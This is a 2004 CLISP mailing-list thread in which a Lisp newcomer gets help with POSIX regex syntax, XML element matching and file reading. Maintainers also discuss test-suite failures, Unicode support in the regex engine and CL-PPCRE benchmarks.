I've already read everything I could find in the clisp Extensions
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Aloha,
+Chris

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 > Now that I have successfully built my clisp 2.29 w/regexp and tried a

Before I answer your regex question, I should second Sam's point that
2.29 is not a great CLISP to be running.  If you can get the latest
one you will be much happier.

On the other hand, in this case I believe the regex question is
applicable going back to 2.29 so I will try to answer it.

 > Based on the information I've been able to gather, the clisp regexp
 > package uses the host OS's regexp engine, and on FreeBSD and Debian,

It's noted in the CLISP docs at

	http://clisp.cons.org/impnotes/modules.html#regexp

that "The REGEXP module implements the POSIX regular expressions"
w/ a link to the CLISP page w/ the POSIX syntax:

	http://clisp.cons.org/impnotes/regexp.html

You should check out this page in detail if you have not already.

 > from what I can find, that is also what grep uses - on both Debian and
 > FreeBSD, grep is GNU grep.

No I don't believe GNU grep uses the POSIX syntax

 > Using the pattern '<[/]?issuer(.*)?>' grep

Posix requires that the "?" question-mark quantifier as well as the
group parentheses be preceded by a backslash.  See the syntax page
at http://clisp.cons.org/impnotes/regexp.html

 > I am trying to learn the clisp regex 'flavor'.

I think it is POSIX which is different from GNU grep.

 > I've tried quoting by hand as well, since regexp-quote produces this:
 > "<\\[/\\]?issuer(\\.\\*)+>", i.e., ?()+ don't seem to be considered

I think this will do what you want:

   (setf patt "<[/]\\?issuer\\(.*\\)\\?>")
   (regexp:match patt "<issuerName>CITIZENS BANKING CORP</issuerName>")

Note that the backslashes are doubled so that the literal string
assigned to "patt" is:

    <[/]\?issuer\(.*\)\?>")

and the ? quantifier and grouping parens are preceded by backslash

 > I already have some useful regexes to do what I want on this data that
 > run in production under awk and/or guile - I can pretty much just cut
 > and paste expressions from one to the other.

There is a module called "pcre" (Perl-Compatible Regular Expressions)
that will use regex syntax ala perl.  I prefer this actually, mainly
because perl's syntax avoids what Larry Wall called "backslashitis",
an overabundance of backslashes which under POSIX appear in the very
commonly used operators.  Adding to this the fact that to get a
backslash INTO a literal string (in perl, C, lisp) you have to double
it as "\\" then you go crazy.  Perl's syntax considers the special
operators like ? to be special by DEFAULT and if you want them
literally THEN you must quote them.

I think the POSIX designers did this because it is conceptually more
elegant and consistent to have all regex operators be escaped w/
backslash, but then it looks like hell when you actually use it.

Sam: the syntax page at:

	http://clisp.cons.org/impnotes/regexp.html

should probably say it's POSIX, and draw a distinction b/w
other syntaxes (GNU grep, perl, etc.)

I agree all this different syntaxes are reall pain 

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> * Chris Hall <unyy.pw@irevmba.arg> [2004-05-26 03:01:12 -1000]:
>
> Debian kernel 2.2.20, gcc 2.95.4, glibc 2.2.

these all are somewhat old.
gcc 2.95 is known to have bugs which prevent correct building of CLISP.
IIRC, (print 1 2) crashes or something.

> I did a checkout on 24 May and tried - it builds OK, then bombs during
> 'make check' with a sigsegv error.

this is not helpful.
you should at least include the full error message with several
preceding lines which will let us identify the failed test.

> Ummm, what do you mean by a backtrace?

"where" or "backtrace" output of gdb after a crash.

> Also, the debug build finishes differently - it displays a message
> explaining how to see what tests failed - wanna see my tests/clos.erg?

yes, of course.
if it is 10 lines, just send it here.
if it is long, send here the URL.

> - while the normal build bombs on a sigsegv error.

which test?
what happens when you disable the failed test?

> 	.gdbinit:139: Error in sourced command file:
> 	Function "sigsegv_handler_failed" not defined.

that's fine - it just means that you are using a debug build without
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Sam wrote:
> I am inclined to _remove_ this page at all because we already link to
> the canonical regexp reference
> <http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html>
> and because lack of DocBook/XML source makes it a distribution nightmare.

Please don't remove these two syntax descriptions. A manual page is
something that a user can understand; the POSIX regexp reference is not
readable like this.

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On Wed, May 26, 2004 at 12:02:15PM -0400, John K. Hinsdale wrote:
>=20
> I think this will do what you want:
>=20
>    (setf patt "<[/]\\?issuer\\(.*\\)\\?>")
>    (regexp:match patt "<issuerName>CITIZENS BANKING CORP</issuerName>")
>=20
> Note that the backslashes are doubled so that the literal string
> assigned to "patt" is:
>=20
>     <[/]\?issuer\(.*\)\?>")
>=20
> and the ? quantifier and grouping parens are preceded by backslash
>=20
>  > I already have some useful regexes to do what I want on this data that
>  > run in production under awk and/or guile - I can pretty much just cut
>  > and paste expressions from one to the other.
>=20
> There is a module called "pcre" (Perl-Compatible Regular Expressions)
> that will use regex syntax ala perl.  I prefer this actually, mainly
> because perl's syntax avoids what Larry Wall called "backslashitis",

Like in Emacs regexes?  ;-)

Module "pcre" doesn't seem to be available for 2.29, I'm still working
on getting current clisp to build on my box.  At any rate, I'd prefer
to not have to add yet another piece to the list of required
supporting software for my app, and my needs, I am fairly certain, can
be met with the basic package, if I can just get my mind around it.

>=20
> I agree all this different syntaxes are reall pain=20
>=20

Naaaw, they just make life that much more 'interesting'. ;-D

I *am* trying to upgrade to the current clisp - I noticed that I have
gcc 3.0 installed already, so I think I will try that for building
clisp.

FWIW, I keep the http://clisp.cons.org/impnotes/modules.html#regexp
page open in my browser when I am working with regexp in clisp.

According to the man _and_ info pages grep/egrep/fgrep, if the env
variable POSIXLY_CORRECT is set, they will behave appropriately.  More
specifically on the quoting, they inform us that 'basic' expressions
require quoting by backslash, 'grep -E'/egrep do not, but from my
testing will accept them.

And thanks for the proper quoted version - as it turns out I *had*
tried it but not on a free-standing string, as in your example.
Please see the following as to what I mean by this, and why I am still
a bit confused.

I find the following to be some 'interesting' ;-) behavior.

[125]> test-rx
"<[/]\\?issuer\\(.*\\)\\?>"
[126]> test-str
"    <notSubjectToSection16>0</notSubjectToSection16>

    <issuer>
        <issuerCik>0000351077</issuerCik>
        <issuerName>CITIZENS BANKING CORP</issuerName>
        <issuerTradingSymbol>CBCF</issuerTradingSymbol>
    </issuer>

    <reportingOwner>
"
[127]> (match test-rx test-str)
#S(REGEXP::REGMATCH_T :RM_SO 58 :RM_EO 255) ;
#S(REGEXP::REGMATCH_T :RM_SO 65 :RM_EO 254)
[128]>=20

So far so good.  'K.  (And thanks again.)

(BTW, how do I access the second match?  Lisp newbie here, I'm afraid.
I've tried all sort of things, but can't seem to figure it out.  Use
'multiple-value-something' perhaps?)

Now, I'm using this (probably very naive and newbie-like) function to
read the file containing the data to be matched against.

(defun get-file (fname)
   (let ((in-data "")
         (in-name fname)
         (new-ln (coerce (list #\Newline) 'string)))
     (with-open-file (in-file in-name :direction :input)
             (do ((cur-line
                   (read-line in-file nil "<<<EOF")
                   (read-line in-file nil "<<<EOF")))
                 ((equal "<<<EOF" cur-line))
;               (setf in-data (concatenate 'string in-data cur-line new-ln)=
)))
               (setf in-data (concatenate 'string in-data cur-line))))
             in-data))

(defvar xml (get-file "srchsec-xmple.xml"))

So then I try:

[128]> (match test-rx xml)
NIL
[129]>=20

As shown, 'get-file', *doesn't* include newlines, since read-line
doesn't pass them on, but I get the same result if I *do* include the
newlines.  It is my understanding that the interaction of regexes and
newlines can sometimes be a bit subtle, so I am unsure of the
consequences.

I've also tried:

[129]> (setf xml (coerce (get-file "srchsec-xmple.xml") 'string))
[130]> (match test-rx xml)
NIL
[131]>=20

I noticed the following at the very start of the contents of var
'xml':

"<?xml version=3D\\\"1.0\\\"?>"

so I also tried (setf xml (subseq xml 24 (length xml))) to get rid of
the offending data, thinking that the quoted/escapes characters might
confuse the regexp engine somehow, but still get NIL on the match.

Any idea if those characters would adversely affect a match in some
way?

I really appreciate your patience and time in helping a clueless
newbie luser like me!

Aloha,
+Chris

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> * John K. Hinsdale <uva@nyzn.pbz> [2004-05-26 12:02:15 -0400]:
>
> Sam: the syntax page at:
>
> 	http://clisp.cons.org/impnotes/regexp.html
>
> should probably say it's POSIX, and draw a distinction b/w other
> syntaxes (GNU grep, perl, etc.)

that page is generated from texinfo source lifted from ed man page (at
least that's what the source says)
I am inclined to _remove_ this page at all because we already link to
the canonical regexp reference
<http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html>
and because lack of DocBook/XML source makes it a distribution nightmare.

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> * Chris Hall <unyy.pw@irevmba.arg> [2004-05-26 15:45:17 -1000]:
>
> #S(REGEXP::REGMATCH_T :RM_SO 58 :RM_EO 255) ;
> #S(REGEXP::REGMATCH_T :RM_SO 65 :RM_EO 254)
>
> (BTW, how do I access the second match?  Lisp newbie here, I'm afraid.
> I've tried all sort of things, but can't seem to figure it out.  Use
> 'multiple-value-something' perhaps?)

yes, MULTIPLE-VALUE-BIND or MULTIPLE-VALUE-LIST

> Now, I'm using this (probably very naive and newbie-like) function to
> read the file containing the data to be matched against.
>
> (defun get-file (fname)
>    (let ((in-data "")
>          (in-name fname)
>          (new-ln (coerce (list #\Newline) 'string)))
>      (with-open-file (in-file in-name :direction :input)
>              (do ((cur-line
>                    (read-line in-file nil "<<<EOF")
>                    (read-line in-file nil "<<<EOF")))
>                  ((equal "<<<EOF" cur-line))
> ;               (setf in-data (concatenate 'string in-data cur-line new-ln))))
>                (setf in-data (concatenate 'string in-data cur-line))))
>              in-data))

1. you want to use EQ to check for EOF (this is actually a bug in your code!)

2. also, you want to pass the stream itself as the 3rd argument to
   READ-LINE (this is a standard idiom).

3. if you want to read the whole file into one string, you should do it
   like this:

(defun read-whole-file (name)
  (with-open-file (s name)
    (let ((ret (make-string (file-length s))))
      (read-sequence ret s)
      ret)))

   your method is extremely inefficient.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-26 20:11:36 +0200]:
>
> Sam wrote:
>> I am inclined to _remove_ this page at all because we already link to
>> the canonical regexp reference
>> <http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html>
>> and because lack of DocBook/XML source makes it a distribution nightmare.
>
> Please don't remove these two syntax descriptions. A manual page is
> something that a user can understand; the POSIX regexp reference is
> not readable like this.

I am not sure what you mean here.
At any rate, the regexp module comes with a 10 y.o. implementation
whose origin is unclear.  (One big problem is unicode).
The man page has, apparently, the same origin.
Note that we use the OS regexp when it is available, so this page is
irrelevant most of the time.
I would prefer either finding a unicode regexp and ignoring the OS, or
dumping the bundled regexp and requiring OS to offer one.
OTOH, win32 loses then.
forget it, it's a can of worms.

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On Wed, May 26, 2004 at 10:51:26PM -0400, Sam Steingold wrote:
> > (BTW, how do I access the second match?  Lisp newbie here, I'm afraid.
> > I've tried all sort of things, but can't seem to figure it out.  Use
> > 'multiple-value-something' perhaps?)
>=20
> yes, MULTIPLE-VALUE-BIND or MULTIPLE-VALUE-LIST
>=20

Woot!  MULTIPLE-VALUE-LIST works for me.  I had looked at
MULTIPLE-VALUE-BIND, but according to CLHS if one doesn't know the
proper number of values ahead time, extra ones get discarded.  I
couldn't figure out how to the count, so I stopped looking there.

I really must get into the habit of poking around in CLHS a bit more -
esp. since I have a local copy - I might have found this for myself.

> 1. you want to use EQ to check for EOF (this is actually a bug in your co=
de!)
>=20
> 2. also, you want to pass the stream itself as the 3rd argument to
>    READ-LINE (this is a standard idiom).
>=20
> 3. if you want to read the whole file into one string, you should do it
>    like this:
>=20
> (defun read-whole-file (name)
>   (with-open-file (s name)
>     (let ((ret (make-string (file-length s))))
>       (read-sequence ret s)
>       ret)))
>=20
>    your method is extremely inefficient.
>=20
With the emphasis on *extremely* - yikes!

(Experienced lispers might want to avoid looking at this - too
painful!  I sheepishly wonder if I could possibly have made it even
slower. :-})

My naive newbie version:
[133]> (time (setf xml (get-file "srchsec-xmple.xml")))
Real time: 0.644871 sec.
Run time: 0.42 sec.
Space: 4916144 Bytes
GC: 10, GC time: 0.32 sec.

Sam's *much, much, much* better version.
[134]> (time (setf xml (read-whole-file "srchsec-xmple.xml")))
Real time: 0.015718 sec.
Run time: 0.02 sec.
Space: 48392 Bytes

A million thanks, Sam - very gracious and kind of you to share your
experience and to set me straight.

I'm sure that I have *lot* of lisp idioms such as this to learn - I
guess the best place to get started is looking at other peoples' code
and experimenting with my own.  And CLHS, I suspect.

> --=20
> Sam Steingold (http://www.podval.org/~sds) running w2k
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> I really must get into the habit of poking around in CLHS a bit more -
> esp. since I have a local copy - I might have found this for myself.
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Debian Woody, kernel 2.2.20. gcc 3.0.4
/lib/libc-2.2.5.so
/lib/libc.so.6
(Dunno quite how to interpret that - libc6 v2.2.5, if I had to guess.)

Using clisp source for 2.33 from Sourceforge, obtained 18 May 2004, and
clisp source 2.33-2 from Debian Packages obtained 26 May 2004, with
Debian-supplied patches applied.

Both build fine, but fail on the same test (output below).

FWIW, building the Debian sources 'manually' like this, the build
fails if on the 'manual' target, and again if I try to specify the
postgresql module - I had to tweak the Makefile.  I am pretty sure
that these would be handled by apt, though.

But the Sourceforge tarball worked just fine on both counts - woohoo!

My question - how 'safe' would it be to use one of these builds?  I'd
really like to 'get with the program' and use 2.33.

Thanks,
+Chris


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-- Old adage


--------( 'make check' output follows

(FDEFINITION (LIST 'SETF (GENSYM)))=20
OK: UNDEFINED-FUNCTION
RUN-TEST: finished "excepsit" (0 errors out of 359 tests)
RUN-ALL-TESTS: grand total: 3 errors out of 8,769 tests

Real time: 371.6612 sec.
Run time: 270.06 sec.
Space: 289770080 Bytes
GC: 422, GC time: 53.85 sec.
8769 ;
3
Bye.

(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l
*erg; echo "To see which tests failed, type" ; echo " cat
"`pwd`"/*.erg" ; exit 1)

Test failed:
-rw-r--r--    1 rocktige rocktige     2556 May 26 23:54 clos.erg
To see which tests failed, type
    cat /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp-2.33/deb-test/=
suite'
make: *** [testsuite] Error 2

$ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg

Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR
FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO
:ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ
TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT))
`(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD
MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE
(IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ)))
(DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100)
(MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR
#'FOO *T-LIST*))
CORRECT: (100 200)
CLISP  : ERROR
LOAD: A file with name
/home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not
exist

Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y
:INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD
SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE
(IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R
SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y
SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL
ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE
',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF)))
(SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*)
(LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*)))
CORRECT: (3.0 4.0 5.0)
CLISP  : ERROR
LOAD: A file with name
/home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not
exist

Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR
TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM
((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE
ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X)))
`(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X
'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE
'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT
:CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL))))
(SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO*
'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST
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(MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO*
'CHILDREN)))))
CORRECT: (T T T)
CLISP  : ERROR
LOAD: A file with name
/home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas
does not exist

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Sam wrote:
> I am not sure what you mean here.
> At any rate, the regexp module comes with a 10 y.o. implementation
> whose origin is unclear.

The origin is simple: The code is the GNU regex 0.12 that was the common
regular expression implementation in GNU programs for years. It's only 8-bit,
though. The documentation has a part copied from GNU ed, a part from GNU
emacs with modifications, and the Lisp interface description that I wrote.

> (One big problem is unicode).

Yes, this is the big problem.

> I would prefer either finding a unicode regexp and ignoring the OS

Yes. Did you try http://sourceforge.net/projects/ustring/ ?

> or dumping the bundled regexp and requiring OS to offer one.

This doesn't help, because the glibc regex is Unicode capable only within
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Edi Weitz wrote:
> Last time I checked it was comparable in speed with CLISP's regex
> engine.

Do you mean the speed when run in a Lisp implementation that compiles to
native code, or when run in clisp? Doing character-at-a-time processing
in byte-compiled clisp is quite slow; that's why we are looking for an
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> * Chris Hall <unyy.pw@irevmba.arg> [2004-05-27 00:18:24 -1000]:
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> My question - how 'safe' would it be to use one of these builds?

either is perfectly fine.

> $ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg
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> CORRECT: (100 200)
> CLISP  : ERROR
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> /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not
> exist

does this directory exist?
why is it used?  this is very strange.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-27 14:21:08 +0200]:
>
>> I would prefer either finding a unicode regexp and ignoring the OS
> Yes. Did you try http://sourceforge.net/projects/ustring/ ?

project is dead - nothing has been done in 4 years.

>> or dumping the bundled regexp and requiring OS to offer one.
>
> This doesn't help, because the glibc regex is Unicode capable only
> within an UTF-8 locale.

indeed.

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On Thu, May 27, 2004 at 11:15:50AM -0400, Sam Steingold wrote:
> > * Chris Hall <unyy.pw@irevmba.arg> [2004-05-27 00:18:24 -1000]:
> >
> > My question - how 'safe' would it be to use one of these builds?
>=20
> either is perfectly fine.

Yesssss!  I am *so* glad to hear this!

>=20
> > $ less /home/rocktiger/lisp/build/clisp-2.33/deb-test/suite/*.erg
> >
> > CORRECT: (100 200)
> > CLISP  : ERROR
> > LOAD: A file with name
> > /home/lisp/clocc/src/tools/ansi-test/make-load-form-demo.fas does not
> > exist
>=20
> does this directory exist?
> why is it used?  this is very strange.

It does indeed, and there is also a make-load-form-demo.lisp file in
it.  I was wondering about that as well.  I've looked in my bash
environment, and the only lisp-related item I can find was CMUCLLIB.

I do (now) have a .clisprc.lisp, but that is just since I installed
(finally!) clisp 2.33, and all it does so far is load asdf.

As an aside, CLOCC is indirectly kind of responsible for my decision
to switch to clisp (long story).

One thing I have become aware of during the whole 'familiarization
process' of learning how clisp is built is the sheer quantity of
high-quality work you folks have put in to this and best of all have
contributed to the world at large.

I find it to be a truly impressive achievement and an equally
impressive gesture, and I've been developing software systems of
various sizes full-time for 25+ years.  You guys rock!

Thank you all, and thank you again, Sam, in particular for the time
you've taken to nurse me along.

Aloha,
+Chris

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On Wed, May 26, 2004 at 12:02:15PM -0400, John K. Hinsdale wrote:
>=20
> I think this will do what you want:
>=20
>    (setf patt "<[/]\\?issuer\\(.*\\)\\?>")
>    (regexp:match patt "<issuerName>CITIZENS BANKING CORP</issuerName>")
>=20
> Note that the backslashes are doubled so that the literal string
> assigned to "patt" is:
>=20
>     <[/]\?issuer\(.*\)\?>")
>=20
> and the ? quantifier and grouping parens are preceded by backslash
>=20
>  > I already have some useful regexes to do what I want on this data that
>  > run in production under awk and/or guile - I can pretty much just cut
>  > and paste expressions from one to the other.
>=20
> There is a module called "pcre" (Perl-Compatible Regular Expressions)
> that will use regex syntax ala perl.  I prefer this actually, mainly
> because perl's syntax avoids what Larry Wall called "backslashitis",
> an overabundance of backslashes which under POSIX appear in the very
> commonly used operators.  Adding to this the fact that to get a
> backslash INTO a literal string (in perl, C, lisp) you have to double
> it as "\\" then you go crazy.  Perl's syntax considers the special
> operators like ? to be special by DEFAULT and if you want them
> literally THEN you must quote them.
>=20
> I think the POSIX designers did this because it is conceptually more
> elegant and consistent to have all regex operators be escaped w/
> backslash, but then it looks like hell when you actually use it.
>=20
> Sam: the syntax page at:
>=20
> 	http://clisp.cons.org/impnotes/regexp.html
>=20
> should probably say it's POSIX, and draw a distinction b/w
> other syntaxes (GNU grep, perl, etc.)
>=20
> I agree all this different syntaxes are reall pain=20
>=20
No pain, no gain! ;-) (And as we used to say in the marines: "Pain is
just weakness leaving the body!")

The reference material that for some reason made things click for me
on this was the regex.h link from the clisp extensions page for regexp
- if I am not mistaken, that is *the* description for how the engine
works.  It might be 'just' a man page, but it is *much* better than
the one for the same subject on my Debian box.

http://www.opengroup.org/onlinepubs/007904975/basedefs/regex.h.html

Anyway, I think I've found the answers to about 90% of my questions in
regard to the clisp regexp package, and the last one Ive got a fairly
decent workaround for.  I'm beginning to get comfortable with this
package - so far, it seems to meet my needs quite well.

If you are at all interested, starting with the pattern you so kindly
suggested to me, here is what I've come up with so far.

(defvar xml-tree "    <notSubjectToSection16>0</notSubjectToSection16>

    <issuer>
        <issuerCik>0000351077</issuerCik>
        <issuerName>CITIZENS BANKING CORP</issuerName>
        <issuerTradingSymbol>CBCF</issuerTradingSymbol>
    </issuer>

    <reportingOwner>
")

(defvar issuer-leaf=3D20
	(match-string xml-tree
		(match "<issuer>.*?</issuer>" xml-tree :extended t)))

Sets 'issuer-leaf' to just the content between and inclusive of the
<issuer/> tags, and illustrates my last remaining question about this.

If I read the entire original file into xml-tree (about 13100 bytes),
and use "<issuer>(.*)?</issuer>", the match fails.  Remove the the
grouping parentheses, and it works as above.  *However*, if we now use
the pattern *with* the parentheses on 'issuer-leaf' as in:

(match-string issuer-leaf=3D20
   (cadr (multiple-value-list=3D20
       (match "<issuer>(.*)?</issuer>" issuer-leaf :extended t))))

Returns:
"
        <issuerCik>0000351077</issuerCik>
        <issuerName>CITIZENS BANKING CORP</issuerName>
        <issuerTradingSymbol>CBCF</issuerTradingSymbol>
    "

The ':extended t' argument removes the need for most of, if not all,
ofthe painful backslash escaping as well, as per the referenced man
page - _that_ makes things a bit easier, IMO.

The 'match' form in the example returns two match structures: first,
the 'overall match', then next, any groups specified in the pattern -
in this case, the stuff *between* the <issuer/> tags.  Woot!

*Now* we are getting somewhere!  Using this strategy it is very
straightforward to get to the juicy bits.

But why, oh why doesn't parentheses/grouping work against the whole
xml tree, I wonder?  Hmmm.  I'm not going to spend much more time on
it, since I've now got a working strategy, but I *am* curious about
it. =3D20

I'd thought at first that it was due to '.* greediness', so I put in
the '?' to make them lazy instead - nope, no difference.  As a nice
benefit though, the '?' seems to provide a consistent 0.01 second
speed up on my ooold, slooow box against this very tiny sample.

(BTW, I only used 'cadr' in the example because I know from
experimentation that there are two matches, and the second is the
group that I am interested in - I doubt I would use it in a real
program.)


Aloha,
+Chris

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Chris,
it just occurred to me that you are parsing an XML file: maybe you
would prefer to use a full parser instead of searching for a specific
element?
CLOCC/CLLIB/xml.lisp will parse the whole XML file for you.
There are other CL XML parsers available, check out cliki.

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On Thu, 27 May 2004 14:29:17 +0200, Bruno Haible <bruno@clisp.org> wrote:

> Edi Weitz wrote:
>> Last time I checked it was comparable in speed with CLISP's regex
>> engine.
>
> Do you mean the speed when run in a Lisp implementation that
> compiles to native code, or when run in clisp?

I meant CL-PPCRE when run in CLISP. Of course it's much faster when
compiled to native code.

> Doing character-at-a-time processing in byte-compiled clisp is quite
> slow; that's why we are looking for an implementation written in
> C/C++.

While this is generally true the situation is not as black-and-white
as you seem to imply. First, regular expressions are not only about
character-at-a-time processing. There are several cases where CL-PPCRE
is actually (a lot) faster than CLISP's regex engine. (See end of mail
for some benchmarks.)

But apart from that I'd say that it is usually just fast enough[TM]
(unless you're throwing certain regular expressions at enormous
strings several times). Moreover:

1. It has more features (look-aheads, look-behinds, stand-alone
   expressions, ...) than the current engine.

2. It has a syntax (the one from Perl) most users will be familiar
   with.

3. It has an alternative S-expression syntax for regular
   expressions. These are of course much easier to manipulate
   programmatically from Lisp.

4. Because it's written in Lisp it'll use the same character encoding
   that CLISP uses independently of external settings like your
   locale.

5. If you get an error you get an error Lisp can handle. Disasters
   like this one can't happen:

     [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t)

     *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) !
     SIGSEGV cannot be cured. Fault address = 0x14.
     Segmentation fault

6. It's written in Lisp (did I mention that already?) - for marketing
   reasons it might be not too bad an idea if the regex engine used by
   a Lisp implementation was also written in Lisp... :)

Anyway, you decide...

Cheers,
Edi.



Regarding the speed of CL-PPCRE I did some simple benchmarks based on
<http://weitz.de/cl-ppcre/#bench>. The code I wrote can be found at
<http://miles.agharta.de/bench.lisp>. This is on a Debian sid system
with CLISP (2.33) from Debian.

It should be noted that CL-PPCRE has been profiled with and optimized
for CMUCL only. (With the help of Duane Rettig from Franz I've done
some preliminary work to optimize it for AllegroCL as well but that's
not part of the official distribution yet.) I'm pretty sure there are
ways to tweak it for CLISP if someone who knows CLISP better than I
does it. I'll gladly accept patches.

  edi@bird:~$ uname -a
  Linux bird 2.6.6 #1 Wed May 26 11:10:22 CEST 2004 i686 GNU/Linux
  edi@bird:~$ echo $LC_CTYPE 
  en_US.UTF-8
  edi@bird:~$ clisp
  WARNING: *FOREIGN-ENCODING*: reset to ASCII
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2000
  Copyright (c) Sam Steingold, Bruno Haible 2001-2004

  ;; Loading file /home/edi/.clisprc ...
  ;; Loaded file /home/edi/.clisprc
  [1]> (lisp-implementation-version) 
  "2.33 (2004-03-17) (built 3289141980) (memory 3294470374)"
  [2]> (require :cl-ppcre)
  ;; Loading file /usr/share/common-lisp/systems/cl-ppcre.asd ...
  ;; Loaded file /usr/share/common-lisp/systems/cl-ppcre.asd
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/packages.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/packages.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/specials.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/specials.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/util.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/util.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/errors.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/errors.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/lexer.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/lexer.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/parser.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/parser.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/regex-class.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/regex-class.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/convert.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/convert.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/optimize.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/optimize.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/closures.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/closures.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/repetition-closures.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/repetition-closures.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/scanner.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/scanner.fas
  ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/api.fas ...
  ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/api.fas
  0 errors, 0 warnings
  T
  [3]> (load (compile-file "/tmp/bench.lisp"))

  Compiling file /tmp/bench.lisp ...

  Wrote file /tmp/bench.fas
  0 errors, 0 warnings
  ;; Loading file /tmp/bench.fas ...
  ;; Loaded file /tmp/bench.fas
  T
  [4]> (test)
  PPCRE wins by a factor of 31.2
  PPCRE wins by a factor of 257.9
